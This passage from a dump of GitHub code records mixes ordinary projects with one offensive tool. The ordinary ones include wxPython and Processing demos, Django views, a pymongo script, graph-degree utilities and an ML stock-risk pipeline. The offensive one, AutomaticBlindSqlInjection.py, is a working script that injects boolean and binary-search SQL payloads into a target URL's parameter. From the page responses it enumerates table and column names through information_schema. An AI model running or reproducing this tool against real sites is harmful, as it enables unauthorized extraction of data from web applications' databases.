(vbX, vbY), \" \".join(r))\n dc.SetLogicalOrigin(posX, posY)\n\n dc.SetFont(wx.NORMAL_FONT)\n w, height = dc.GetTextExtent(s)\n height += 3\n dc.SetBrush(wx.WHITE_BRUSH)\n dc.SetPen(wx.WHITE_PEN)\n dc.DrawRectangle(0, 0, size.x, size.y)\n dc.SetPen(wx.LIGHT_GREY_PEN)\n dc.DrawLine(0, 0, size.x, size.y)\n dc.DrawLine(0, size.y, size.x, 0)\n dc.DrawText(s, (size.x-w)/2, (size.y-height*5)/2)\n \n def on_left_up(self, event):\n print()\n print(\"Title \" + str(self))\n print(\"Position \" + str(self.GetPosition()))\n print(\"ViewStart \" + str(self.GetViewStart()))\n print(\"Size \" + str(self.GetSize()))\n print(\"VirtualSize \" + str(self.GetVirtualSize()))\n\n\nclass HexGridColHeader(HexGridHeader):\n use_x = 1\n use_y = 0\n\n\nclass HexGridRowHeader(HexGridHeader):\n use_x = 0\n use_y = 1\n\n\nclass HexGridDataWindow(HexGridHeader):\n pass\n\n\nclass MyApp(wx.App):\n \"\"\"\n Simple Application class for testing\n \"\"\"\n def OnInit(self):\n \"\"\"\n Initialize the Application\n \"\"\"\n #This is the frame as I want to use it, with a tri-pane scroll window\n #However, the information sent to the sub-window is incorrect, so the\n #on_paint callback draws the wrong area on screen...\n id = wx.NewId()\n frame = wx.Frame(None, id, \"Test Tri-pane frame\" )\n scroll = HexGridWindow(frame, wx.NewId())\n scroll.set_pane_sizes(3000, 1000, 80, 20)\n scroll.SetScrollRate(20,20)\n #(width, height) = dc.GetTextExtent(\"M\")\n frame.Show()\n # self.SetTopWindow(frame)\n \n print(\"wx.VERSION = \" + wx.VERSION_STRING)\n return True\n \n#For testing\nif __name__ == '__main__':\n app = MyApp(False)\n app.MainLoop()\n","repo_name":"robmcmullen/wx4demos","sub_path":"scrolltarget2.py","file_name":"scrolltarget2.py","file_ext":"py","file_size_in_byte":6103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10333047174","text":"from core.type import metadata_t, parserInput_t\n\ndef parse(input: parserInput_t):\n\tdescription = input.description\n\ttitle = input.title\n\tuploader = input.uploader\n\tid = input.id\n\n\tm = metadata_t\n\tm.genre = 'Eurobeat'\n\tm.artist = 'Turbo'\n\tif ' _ ' in title or ' - ' in title or ' / ' in title:\n\t\tfor split in (' _ ', ' / ', ' - '):\n\t\t\tif len(title.split(split)) > 1:\n\t\t\t\tm.title = title.split(split)[0]\n\t\t\t\tbreak\n\treturn(m)","repo_name":"DucksAndNetherwort/advanced_downloader_MKII","sub_path":"src/core/descriptionParsers/turbo.py","file_name":"turbo.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27016327561","text":"#5 Write a program that creates a list ['a','b','c'] then create a tuple and again create a list from it. \nL1=[]\nlenght=int(input(\"Enter the lenght of the list \"))\nfor i in range(0,lenght):\n element=input(\"Enter the element \")\n L1.append(element)\nprint(L1)\nL1=tuple(L1)\nprint(L1)\nL1=list(L1)\nprint(L1)\n\n\n\n\n\n\n\n\n\n","repo_name":"Hikmatullah-Nasiri/LPU-Lectures","sub_path":"6th Semester/Practice/Python/#16 lec 18 Tuples/Solution 5 list then create a tuple and again create a list from it .py","file_name":"Solution 5 list then create a tuple and again create a list from it .py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29179873036","text":"from django.urls import path\nfrom .views import DashAPIView,get_pacakges,create_investment,end_user_investment,WithdrawApiview,TransactionApiview,SettingsApiview\n\n\nurlpatterns = [\n path('dashboard/',DashAPIView.as_view()),\n path('packages/',get_pacakges),\n path('create-investment/',create_investment),\n path('end-investment/',end_user_investment),\n path('withdrawal/',WithdrawApiview.as_view()),\n path('transactions/',TransactionApiview.as_view()),\n path('settings/',SettingsApiview.as_view()),\n]\n","repo_name":"devla-d/earnalipayapi","sub_path":"userdashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3233698623","text":"import pymongo\r\n\r\nmyClient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\r\nmydb = myClient[\"FootballDBMongo\"]\r\n\r\nprint(\"Herzlich Willkommen\")\r\nuserInputClub = input(\"----------Enter the name of the club---------: \")\r\n\r\nquery1 = {\"name\": userInputClub}\r\nquery2 = {\"TitlesWon\": 1, \"_id\" : 0}\r\n\r\ndatabaseCollection = mydb.clubStats.find(query1,query2)\r\n\r\nhasValue = True if mydb.clubStats.count_documents({\"name\":userInputClub}) > 0 else False\r\n\r\nif hasValue:\r\n for titles in mydb.clubStats.find({\"name\":userInputClub},{\"TitlesWon\": 1, \"_id\" : 0}):\r\n print(\" Number of titles won by the club are/is:\")\r\n print(\" Year Title\")\r\n title = titles[\"TitlesWon\"]\r\n for k in title:\r\n for a in k: \r\n print(\" {} \".format(k[a]),end=\"\")\r\n print()\r\n \r\nelse:\r\n print(\"No data found\")\r\n\r\n","repo_name":"chinmay81192/Information-Systems","sub_path":"Story2a.py","file_name":"Story2a.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41639135284","text":"\"\"\" Exemplo de uso da Biblioteca PeasyCam\n * documentação em http://mrfeinberg.com/peasycam/\n No menu do IDE Processing: Sketch > Import Library... > Add Library.. > [search for PeasyCam & install]\n depois Import Library... > PeasyCam\n - Clique e arraste o mouse (mouseDragged) para orbitar\n - Scroll Wheel = Zoom\n - Command = Translate\n\"\"\"\nadd_library('peasycam')\n\ndef setup():\n global camera\n size(200, 200, P3D) # note o setup do canvas 3D\n camera = PeasyCam(this, 100)\n camera.setMinimumDistance(50)\n camera.setMaximumDistance(500)\n\ndef draw():\n rotateX(-.5)\n rotateY(-.5)\n background(0)\n fill(255, 0, 0)\n box(30)\n with pushMatrix():\n translate(0, 0, 20)\n fill(0, 0, 255)\n box(5)\n camera.beginHUD() # para desenhar relativo ao ponto de vista da câmera\n fill(255)\n rect(30,30,30,30)\n camera.endHUD() # se usou .beginHUD() no esqueça de .endHUD() sempre!\n\n \n","repo_name":"villares/py.processing-play","sub_path":"3D/PeasyCam/basic_PeasyCam_with_HUD/basic_PeasyCam_with_HUD.pyde","file_name":"basic_PeasyCam_with_HUD.pyde","file_ext":"pyde","file_size_in_byte":962,"program_lang":"python","lang":"pt","doc_type":"code","stars":23,"dataset":"github-code","pt":"52"} +{"seq_id":"21272736486","text":"from ctypes import sizeof\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib import style\r\nimport numpy as np\r\nfrom tqdm import tqdm\r\nfrom numba import jit, cuda\r\nimport pandas as pd\r\n\r\n'''The data has been divided into 4 sub-dataset due to computational'''\r\n\r\nX,Y = np.loadtxt('C:/path/to/first/subset/0.txt', \r\n dtype= int,skiprows=(4), unpack= True, delimiter='\\t') \r\n \r\nZ,S = np.loadtxt('C:/path/to/second/subset/1.txt', \r\n dtype= int, unpack= True, delimiter='\\t') \r\n \r\nA,B = np.loadtxt('C:/path/to/third/subset/2.txt', \r\n dtype= int, unpack= True, delimiter='\\t') \r\n \r\nC,D = np.loadtxt('C:/path/to/fourth/subset/3.txt', \r\n dtype= int, unpack= True, delimiter='\\t') \r\n\r\n\r\n#use cuda for better performance when possible\r\n@jit(target_backend='cuda')\t\r\ndef numberOfInstances(v, X):\r\n i=0\r\n for z in X:\r\n if(v==z): i= i+1\r\n \r\n return i\r\n\r\n@jit(target_backend='cuda')\t\r\ndef arrayNoDup(X):\r\n result = []\r\n \r\n print(\"Creazione array senza doppioni\")\r\n\r\n for v in tqdm(X):\r\n if v not in result:\r\n result.append(v)\r\n \r\n print(\"Array senza doppioni creato\")\r\n\r\n return result\r\n\r\n\r\ndef visualize(X,Y):\r\n plt.plot(X,Y)\r\n\r\n plt.title('Prova Visual')\r\n plt.ylabel('Y Riceventi')\r\n plt.xlabel('X Mandanti')\r\n\r\n plt.show()\r\n\r\ndef createHistogram(X):\r\n #X_No_Dup= arrayNoDup(X) \r\n \r\n '''for v in X_No_Dup:\r\n X_num.append(numberOfInstances(v,X))\r\n i=i+1'''\r\n\r\n plt.hist(X, density=False, bins = 400) # density=False would make counts \r\n\r\n plt.ylabel('Degree')\r\n plt.xlabel('Node')\r\n plt.show()\r\n \r\n\r\n\r\ndef saveArrayNoDup(X,name):\r\n X_num = []\r\n X_No_Dup= arrayNoDup(X) \r\n i = 0\r\n for v in X_No_Dup:\r\n X_num.append(numberOfInstances(v,X))\r\n i=i+1\r\n\r\n i = 0\r\n \r\n with open(name+'RoadNoDupCount.txt', 'w') as f:\r\n for y in X_No_Dup:\r\n line = [str(X_No_Dup[i]),str(X_num[i])]\r\n tab = '\\t' \r\n lines = tab.join(line)\r\n f.write(lines + '\\n')\r\n i = i+1\r\n f.close\r\n\r\n\r\n''' \r\nvisualize(X_No_Dup,X_num) \r\nprint(X[0],Y[0]) \r\n'''\r\n#createHistogram(X)\r\n\r\n'''caricare un .txt direttamente in un dizionario con chiave il nodo e valore il numIstanze ''' \r\ndef createDict(d,txt,i):\r\n\r\n print(\"Creazione dizionario \"+i)\r\n\r\n with open(txt) as f:\r\n for line in f:\r\n (key, val) = line.split()\r\n d[int(key)] = val\r\n \r\n print(\"Dizionario \"+i+\" creato \\n\")\r\n \r\n return d\r\n\r\n#@jit(target_backend='cuda',nopython=True)\t\r\ndef mergeDict(dx,dy,n,m):\r\n \r\n Degree = []\r\n Nodes = []\r\n\r\n print(\"Merging dizionari \"+n+\" e \"+m+\" \\n\")\r\n for j in tqdm(dx.keys()):\r\n #for j in dx.keys(): \r\n if j in dy.keys(): \r\n Nodes.append(j) \r\n val = int(dx[int(j)])\r\n val2 = int(dy[int(j)])\r\n \r\n Degree.append(val+val2)\r\n \r\n else:\r\n Nodes.append(j)\r\n Degree.append(int(dx[int(j)]))\r\n\r\n \r\n\r\n for k in tqdm(dy.keys()):\r\n if k not in Nodes:\r\n Nodes.append(k)\r\n Degree.append(int(dy[int(k)])) \r\n \r\n\r\n print(\"Merging dizionari completo \\n Salvataggio...\")\r\n return Nodes,Degree\r\n\r\n\r\n\r\ndef mergeAndSave():\r\n \r\n Degree = []\r\n Nodes = []\r\n Degree1 = []\r\n Nodes1 = []\r\n Degree2 = []\r\n Nodes2 = []\r\n \r\n saveArrayNoDup(A,'0')\r\n saveArrayNoDup(C,'1')\r\n saveArrayNoDup(A,'2')\r\n saveArrayNoDup(C,'3')\r\n\r\n d0 = {}\r\n\r\n d0 = createDict(d0,\"C:/path/to/0RoadNoDupCount.txt\",'0')\r\n \r\n d1 = {}\r\n\r\n d1 = createDict(d1,\"C:/path/to/1RoadNoDupCount.txt\",'1')\r\n\r\n d2 = {}\r\n \r\n d2 = createDict(d2,\"C:/path/to/2RoadNoDupCount.txt\",'2')\r\n\r\n d3 = {}\r\n\r\n d3 = createDict(d3,\"C:/path/to/3RoadNoDupCount.txt\",'3')\r\n \r\n \r\n Nodes,Degree = mergeDict(d0,d1,'0','1')\t\t#merge first two subset and save the result\r\n \r\n i = 0\r\n with open('1provaRoadNoDupCount.txt', 'w') as f:\r\n for y in tqdm(Nodes):\r\n line = [str(Nodes[i]),str(Degree[i])]\r\n tab = '\\t' \r\n lines = tab.join(line)\r\n f.write(lines + '\\n')\r\n i = i+1\r\n print(\"Salvataggio dizionario completo\")\r\n\r\n \r\n Nodes1,Degree1 = mergeDict(d2,d3,'2','3') \t#merge last two subset and save the result\r\n\r\n i = 0\r\n with open('2HalfRoadNoDupCount.txt', 'w') as f:\r\n for y in tqdm(Nodes1):\r\n line = [str(Nodes1[i]),str(Degree1[i])]\r\n tab = '\\t' \r\n lines = tab.join(line)\r\n f.write(lines + '\\n')\r\n i = i+1\r\n print(\"Salvataggio dizionario completo\")\r\n\r\n \r\n\r\n dh1 = {}\r\n\r\n dh1 = createDict(dh1,\"C:/Users/danil/Downloads/magistrale/Social Network Analysis/Project/1HalfRoadNoDupCount.txt\",'H-1')\r\n\r\n dh2 = {}\r\n \r\n dh2 = createDict(dh2,\"C:/Users/danil/Downloads/magistrale/Social Network Analysis/Project/2HalfRoadNoDupCount.txt\",'H-2')\r\n\r\n Nodes2,Degree2 = mergeDict(dh1,dh2,'H-1','H-2')\t#merge intermediate subset and save the result\r\n\r\n i = 0\r\n with open('FullRoadNoDupCount.txt', 'w') as f:\r\n for y in tqdm(Nodes2):\r\n line = [str(Nodes2[i]),str(Degree2[i])]\r\n tab = '\\t' \r\n lines = tab.join(line)\r\n f.write(lines + '\\n')\r\n i = i+1\r\n print(\"Salvataggio dizionario totale completo\")\r\n \r\n \r\nmergeAndSave() ","repo_name":"DaniMe98/California-Road-Network-Analysis","sub_path":"dataUtils.py","file_name":"dataUtils.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70438358886","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport urllib,urllib2\nimport re\nimport os\nimport emblemas\n\ndef main():\n\tos.system('clear');\n\tprint(emblemas.emblemas());\n\tglobal target;\n\tglobal pattern;\n\tglobal alphabet;\n\tglobal fieldsInTable;\n\tglobal disableTables;\n\ttry:\n\t\tfieldsInTable={};\n\t\ttarget=raw_input('#'*50+'\\nTarget (http://www.target.com/poc?id=5): ');\n\t\tpattern=raw_input('#'*50+'\\nPatron a buscar para considerar False: ');\n\t\talphabet=raw_input('#'*50+'\\nAlfabeto a considerar: ');\n\t\trunBlindSqlInjection();\n\texcept:\n\t\traw_input('Hubo un error...\\n');\n\t\tmain();\n\ndef runBlindSqlInjection():\n\tgetTablesUsingDictionary();\n\troughNumTables=getRoughNumTables();\n\tnumTables=getNumTables(roughNumTables)-1;\n\tnumTablesLetters=getNumTablesLetters();\n\tlengthsTablesNames=getLengthsTablesNames(numTablesLetters);\n\ttablesNames=getTablesNames(numTablesLetters,lengthsTablesNames);\n\tfieldsInTable=getFieldsInTable(tablesNames);\n\tdata=[numTables,fieldsInTable];\n\tprintData(data);\n\ndef getTablesUsingDictionary():\n\tdictionary=open('tables_dictionary.txt','r');\n\tglobal disableTables;\n\tdisableTables=\"+AND+\";\n\tfor table in dictionary:\n\t\ttable=re.sub(r\"\\s\",\"\",table,flags=re.I);\n\t\tquery=target+\"+and+(select+count(table_name)+from+information_schema.tables+where+table_name='\"+table+\"')>=1--\"\n\t\tif(table!=\"*\"):\n\t\t\tdisableTables=disableTables+\"table_name!='\"+table+\"'+AND+\";\n\t\telse:\n\t\t\tdisableTables=disableTables+\"table_name!='\"+table+\"'\";\n\t\tif(isTrue(query)):\n\t\t\tfieldsInTable[table]=[];\n\t\t\tnumColumns=getNumFieldsInTable(table);\n\t\t\tindexColumn=0;\n\t\t\twhile(indexColumn=1--\"\n\t\tif(isTrue(query)):\n\t\t\treturn chr(center);\n\t\telse:\n\t\t\tquery=target+\"+and+(select+ascii(substring(column_name,\"+str(indexChar)+\",1))+between+\"+str(inf)+\"+AND+\"+str(center)+\"+from+information_schema.columns+where+table_name='\"+tableName+\"'+limit+\"+str(indexField)+\",1)>=1--\"\n\t\t\tif(isTrue(query)):\n\t\t\t\tsup=center-1;\n\t\t\telse:\n\t\t\t\tinf=center+1;\n\ter='_';\n\treturn er;\n\t\ndef getLengthFieldInTable(tableName,indexField,inf=0,sup=1000):\n\twhile(inf<=sup):\n\t\tprint(emblemas.loader());\n\t\tcenter=((sup-inf)/2)+inf;\n\t\tquery=target+\"+and+(select+length(column_name)+between+\"+str(center)+\"+AND+\"+str(center)+\"+from+information_schema.columns+where+table_name='\"+tableName+\"'+limit+\"+str(indexField)+\",1)>=1--\"\n\t\tif(isTrue(query)):\n\t\t\treturn center;\n\t\telse:\n\t\t\tquery=target+\"+and+(select+length(column_name)+between+\"+str(inf)+\"+AND+\"+str(center)+\"+from+information_schema.columns+where+table_name='\"+tableName+\"'+limit+\"+str(indexField)+\",1)>=1--\"\n\t\t\tif(isTrue(query)):\n\t\t\t\tsup=center-1;\n\t\t\telse:\n\t\t\t\tinf=center+1;\n\ter=0;\n\treturn 0;\n\ndef getNumFieldsInTable(tableName,inf=0,sup=10000):\n\twhile(inf<=sup):\n\t\tprint(emblemas.loader());\n\t\tcenter=((sup-inf)/2)+inf;\n\t\tquery=target+\"+and+(select+count(column_name)+between+\"+str(center)+\"+AND+\"+str(center)+\"+from+information_schema.columns+where+table_name='\"+tableName+\"')>=1--\"\n\t\tif(isTrue(query)):\n\t\t\treturn center;\n\t\telse:\n\t\t\tquery=target+\"+and+(select+count(column_name)+between+\"+str(inf)+\"+AND+\"+str(center)+\"+from+information_schema.columns+where+table_name='\"+tableName+\"')>=1--\"\n\t\t\tif(isTrue(query)):\n\t\t\t\tsup=center-1;\n\t\t\telse:\n\t\t\t\tinf=center+1;\n\ter=0;\n\treturn 0;\n\t\ndef getTablesNames(numTablesLetters,lengthTablesNames):\n\ti=0;\n\ttablesNames={};\n\twhile(i=1--\"\n\t\tif(isTrue(query)):\n\t\t\treturn chr(center);\n\t\telse:\n\t\t\tquery=target+\"+and+(select+ascii(substring(table_name,\"+str(indexChar)+\",1))+between+\"+str(inf)+\"+AND+\"+str(center)+\"+from+information_schema.tables+where+table_name+LIKE+'\"+letter+\"%'\"+disableTables+\"+limit+\"+str(indexTable)+\",1)>=1--\"\n\t\t\tif(isTrue(query)):\n\t\t\t\tsup=center-1;\n\t\t\telse:\n\t\t\t\tinf=center+1;\n\ter='_';\n\treturn er;\n\ndef getLengthsTablesNames(numTablesLetters):\n\ti=0;\n\tlengthsTablesNames={};\n\twhile(i0):\n\t\t\tlengthsTablesNames[alphabet[i]]=[];\n\t\t\twhile(j=\"+str(length)+\"--\"\n\tif(isTrue(newTarget)):\n\t\tlength=length+1;\n\t\treturn getLengthTableName(letter,index,length);\n\telse:\n\t\treturn length;\n\t\ndef getNumTables(rough):\n\tprint(emblemas.loader())\n\ttotal=rough;\n\tnewTarget=target+\"+and+(select+count(table_name)+from+information_schema.tables)>=\"+str(rough)+\"--\"\n\tif(isTrue(newTarget)):\n\t\trough=rough+1;\n\t\treturn getNumTables(rough);\n\telse:\n\t\treturn total;\n\ndef getRoughNumTables(count=10):\n\tprint(emblemas.loader())\n\tnewTarget=target+\"+and+(select+count(table_name)+between+0+AND+\"+str(count+10)+\"+from+information_schema.tables)>=1--\"\n\tif(isTrue(newTarget)):\n\t\treturn count;\n\telse:\n\t\tcount=count+15;\n\t\treturn getRoughNumTables(count);\n\ndef getNumTablesLetters():\n\ti=0;\n\tnumTablesLetter={};\n\twhile(i=\"+str(count)+\"--\"\n\tif(isTrue(newTarget)):\n\t\tcount=count+1;\n\t\treturn getNumTablesLetter(letter,count);\n\telse:\n\t\treturn total;\n\t\ndef isTrue(newTarget):\n\tprint(newTarget);\n\tpath=re.match('https?://(([a-zA-Z]+)?\\.?[a-zA-Z]+\\.[a-zA-Z]+)(\\/.*)?',newTarget,re.I);\n\tpath=path.group(3);\n\tpath=path if path!=None else '/';\n\tconnection=urllib2.urlopen(newTarget);\n\tresponse=connection.read();\n\tconnection.close();\n\tmatches=re.findall(pattern,response,flags=re.I);\n\tif(len(matches)==0):\n\t\treturn True;\n\telse:\n\t\treturn False;\n\t\t\nif __name__=='__main__': \n\tmain();\n","repo_name":"0v3rflow1/python","sub_path":"AutomaticBlindSqlInjection.py","file_name":"AutomaticBlindSqlInjection.py","file_ext":"py","file_size_in_byte":8982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9063665768","text":"import argparse\nimport os\nimport lightgbm as lgbm\nimport catboost as ctb\n\nfrom typing import Optional\nfrom urllib.request import urlretrieve\nfrom ml_investment.utils import load_config\nfrom ml_investment.features import QuarterlyFeatures, BaseCompanyFeatures, \\\n FeatureMerger, DailyAggQuarterFeatures, \\\n QuarterlyDiffFeatures\nfrom ml_investment.targets import DailyAggTarget\nfrom ml_investment.models import TimeSeriesOOFModel, EnsembleModel, LogExpModel\nfrom ml_investment.metrics import median_absolute_relative_error, down_std_norm\nfrom ml_investment.pipelines import Pipeline\nfrom ml_investment.download_scripts import download_sf1, download_commodities\n\nconfig = load_config()\n\n\nURL = 'https://github.com/fartuk/ml_investment/releases/download/weights/marketcap_down_std_sf1.pickle'\nOUT_NAME = 'marketcap_down_std_sf1'\nDATA_SOURCE='sf1'\nCURRENCY = 'USD'\nVERBOSE = True\nTARGET_HORIZON = 90\nMAX_BACK_QUARTER = 20\nMIN_BACK_QUARTER = 0\nBAGGING_FRACTION = 0.7\nMODEL_CNT = 20\nFOLD_CNT = 20\nQUARTER_COUNTS = [2, 4, 10]\nCOMPARE_QUARTER_IDXS = [1, 4]\nAGG_DAY_COUNTS = [100, 200, 400, 800]\nSCALE_MARKETCAP = [\"4 - Mid\", \"5 - Large\", \"6 - Mega\"]\nDAILY_AGG_COLUMNS = [\"marketcap\", \"pe\"]\nCAT_COLUMNS = [\"sector\", \"sicindustry\"]\nQUARTER_COLUMNS = [\n \"revenue\",\n \"netinc\",\n \"ncf\",\n \"assets\",\n \"ebitda\",\n \"debt\",\n \"fcf\",\n \"gp\",\n \"workingcapital\",\n \"cashneq\",\n \"rnd\",\n \"sgna\",\n \"ncfx\",\n \"divyield\",\n \"currentratio\",\n \"netinccmn\"\n ]\n\n\n\ndef _check_download_data():\n if not os.path.exists(config['sf1_data_path']):\n print('Downloading sf1 data')\n download_sf1.main()\n\n\ndef _create_data():\n if DATA_SOURCE == 'sf1':\n from ml_investment.data_loaders.sf1 import SF1BaseData, SF1DailyData, \\\n SF1QuarterlyData\n elif DATA_SOURCE == 'mongo':\n from ml_investment.data_loaders.mongo import SF1BaseData, SF1DailyData, \\\n SF1QuarterlyData \n data = {}\n data['quarterly'] = SF1QuarterlyData()\n data['base'] = SF1BaseData()\n data['daily'] = SF1DailyData()\n \n return data\n\n\n\ndef _create_feature():\n fc1 = QuarterlyFeatures(data_key='quarterly',\n columns=QUARTER_COLUMNS,\n quarter_counts=QUARTER_COUNTS,\n max_back_quarter=MAX_BACK_QUARTER,\n min_back_quarter=MIN_BACK_QUARTER,\n verbose=VERBOSE)\n\n fc2 = BaseCompanyFeatures(data_key='base',\n cat_columns=CAT_COLUMNS,\n verbose=VERBOSE)\n \n fc3 = QuarterlyDiffFeatures(data_key='quarterly',\n columns=QUARTER_COLUMNS,\n compare_quarter_idxs=COMPARE_QUARTER_IDXS,\n max_back_quarter=MAX_BACK_QUARTER,\n min_back_quarter=MIN_BACK_QUARTER,\n verbose=VERBOSE)\n \n fc4 = DailyAggQuarterFeatures(daily_data_key='daily',\n quarterly_data_key='quarterly',\n columns=DAILY_AGG_COLUMNS,\n agg_day_counts=AGG_DAY_COUNTS,\n max_back_quarter=MAX_BACK_QUARTER,\n min_back_quarter=MIN_BACK_QUARTER,\n verbose=VERBOSE)\n\n feature = FeatureMerger(fc1, fc2, on='ticker')\n feature = FeatureMerger(feature, fc3, on=['ticker', 'date'])\n feature = FeatureMerger(feature, fc4, on=['ticker', 'date'])\n\n return feature\n\n\ndef _create_target():\n target = DailyAggTarget(data_key='daily',\n col='marketcap',\n horizon=TARGET_HORIZON,\n foo=down_std_norm)\n return target\n\n\ndef _create_model():\n base_models = [LogExpModel(lgbm.sklearn.LGBMRegressor()),\n LogExpModel(ctb.CatBoostRegressor(verbose=False))]\n \n ensemble = EnsembleModel(base_models=base_models, \n bagging_fraction=BAGGING_FRACTION,\n model_cnt=MODEL_CNT)\n\n model = TimeSeriesOOFModel(base_model=ensemble,\n time_column='date',\n fold_cnt=FOLD_CNT)\n\n return model\n \n\n\ndef MarketcapDownStdSF1(max_back_quarter: int=None,\n min_back_quarter: int=None,\n data_source: Optional[str]=None,\n pretrained: bool=True,\n verbose: bool=None) -> Pipeline:\n '''\n Model is used to predict future down-std value.\n Pipeline consist of time-series model training( \n :class:`~ml_investment.models.TimeSeriesOOFModel` )\n and validation on real marketcap down-std values(\n :class:`~ml_investment.targets.DailyAggTarget` ).\n Model prediction may be interpreted as \"risk\" for the next quarter.\n :mod:`~ml_investment.data_loaders.sf1`\n is used for loading data.\n\n Note:\n SF1 dataset is paid, so for using this model you need to subscribe \n and paste quandl token to `~/.ml_investment/secrets.json`\n ``quandl_api_key``\n\n Parameters\n ----------\n max_back_quarter:\n max quarter number which will be used in model\n min_back_quarter:\n min quarter number which will be used in model\n data_source:\n which data use for model. One of ['sf1', 'mongo'].\n If 'mongo', than data will be loaded from db,\n credentials specified at `~/.ml_investment/config.json`.\n If 'sf1' - from folder specified at ``sf1_data_path``\n in `~/.ml_investment/secrets.json`.\n pretrained:\n use pretreined weights or not. \n Downloading directory path can be changed in\n `~/.ml_investment/config.json` ``models_path``\n verbose:\n show progress or not\n '''\n if data_source is not None:\n global DATA_SOURCE \n DATA_SOURCE = data_source\n \n if max_back_quarter is not None:\n global MAX_BACK_QUARTER \n MAX_BACK_QUARTER = max_back_quarter\n\n if min_back_quarter is not None:\n global MIN_BACK_QUARTER \n MIN_BACK_QUARTER = min_back_quarter\n\n if verbose is not None:\n global VERBOSE \n VERBOSE = verbose\n\n if DATA_SOURCE == 'sf1':\n _check_download_data()\n \n data = _create_data()\n feature = _create_feature()\n target = _create_target()\n model = _create_model()\n\n pipeline = Pipeline(feature=feature, \n target=target, \n model=model,\n data=data,\n out_name=OUT_NAME)\n \n core_path = '{}/{}.pickle'.format(config['models_path'], OUT_NAME)\n\n if pretrained:\n if not os.path.exists(core_path):\n urlretrieve(URL, core_path) \n pipeline.load_core(core_path)\n\n return pipeline\n\n\n \n\n\ndef main(data_source):\n '''\n Default model training. Resulted model weights directory path \n can be changed in `~/.ml_investment/config.json` ``models_path``\n '''\n pipeline = MarketcapDownStdSF1(pretrained=False, data_source=data_source) \n base_df = pipeline.data['base'].load()\n tickers = base_df[(base_df['currency'] == CURRENCY) &\\\n (base_df['scalemarketcap'].apply(lambda x: x in SCALE_MARKETCAP))\n ]['ticker'].values\n result = pipeline.fit(tickers, median_absolute_relative_error)\n print(result)\n path = '{}/{}'.format(config['models_path'], OUT_NAME)\n pipeline.export_core(path) \n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n arg = parser.add_argument\n arg('--data_source', type=str)\n args = parser.parse_args()\n main(args.data_source)\n \n \n","repo_name":"fartuk/ml_investment","sub_path":"ml_investment/applications/marketcap_down_std_sf1.py","file_name":"marketcap_down_std_sf1.py","file_ext":"py","file_size_in_byte":8134,"program_lang":"python","lang":"en","doc_type":"code","stars":149,"dataset":"github-code","pt":"52"} +{"seq_id":"9238472732","text":"import serial\nfrom time import sleep\nimport time\n\ndef wirte_time(serial):\n ti = 0\n \n while True:\n serial.write(b\"CLS(3);\\r\\n\")\n serial.write(\"DS48(1,2,'action \".encode('utf-8')+str(ti).encode('utf-8')+\"s',1);\\r\\n\".encode('utf-8'))\n time.sleep(0.5)\n ti = ti +0.5\n\n\ndef recv(serial):\n while True:\n data = serial.read_all()\n if data == '':\n continue\n else:\n break\n sleep(0.02)\n return data\n\nif __name__ == '__main__':\n serial = serial.Serial('/dev/ttyUSB0', 115200, timeout=0.5) #/dev/ttyUSB0\n if serial.isOpen() :\n print(\"open success\")\n else :\n print(\"open failed\")\n #serial.write(\"CLS(3);\\r\\n\".encode('utf-8'))\n wirte_time(serial)\n \n","repo_name":"HuyCui/ACsystem","sub_path":"actionPI/screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72887030884","text":"from django.shortcuts import render\nfrom django.views import generic,View\nfrom django.http import JsonResponse\nfrom cash.forms import CashForm,CashIncrementForm,CashDecrementForm\nfrom custom.views import (JSONCreateView,JSONUpdateView,\n JSONQueryView,JSONDeleteView)\nfrom cash.models import Cash,CashIncrement,CashDecrement\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom cash.helpers import (group_by_day,sort_time,\n prepare_changes_data,historate_cash)\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.utils.decorators import method_decorator\nfrom custom.decorators import access_required\n# from django.db.models import Sum\nfrom pos.models import CashSale,CashSalesReturn\nfrom pop.models import CashPurchase,CashPurchaseReturn\nfrom django.db.models import Sum,F,FloatField\nimport datetime\n# This view loads in the app\n@method_decorator(access_required('cash'), name='dispatch')\nclass AppInit(LoginRequiredMixin,generic.base.TemplateView):\n template_name = 'cash/index.html'\n\nclass Systems(JSONQueryView):\n model = Cash\n\n def make_query(self,ask=None):\n cashs = super().make_query(ask)\n data = []\n for cash in cashs:\n data.append({'id':cash['id'],\n 'value':cash['system']+\" ~ \"+cash['currency'],\n 'currency':cash['currency'],\n 'system':cash['system'],\n })\n return data\n#Views for Cash model\n#create view\nclass CreateCash(JSONCreateView):\n form = CashForm\n#update view\nclass UpdateCash(JSONUpdateView):\n form = CashForm\n model = Cash\n#delete view\nclass DeleteCash(JSONDeleteView):\n model = Cash\n#query view\nclass Cashs(JSONQueryView):\n model = Cash\n\n# Views for cashincrement model\n#create cashincrement\nclass CreateCashIncrement(JSONCreateView):\n form = CashIncrementForm\n model = CashIncrement\n user_required = True\n#query cashincrement\nclass CashIncrements(JSONQueryView):\n model = CashIncrement\n#Views for cashdecrement model\n#create cashdecrement\nclass CreateCashDecrement(JSONCreateView):\n form = CashDecrementForm\n model = CashDecrement\n user_required = True\n#query cashdecrement\nclass 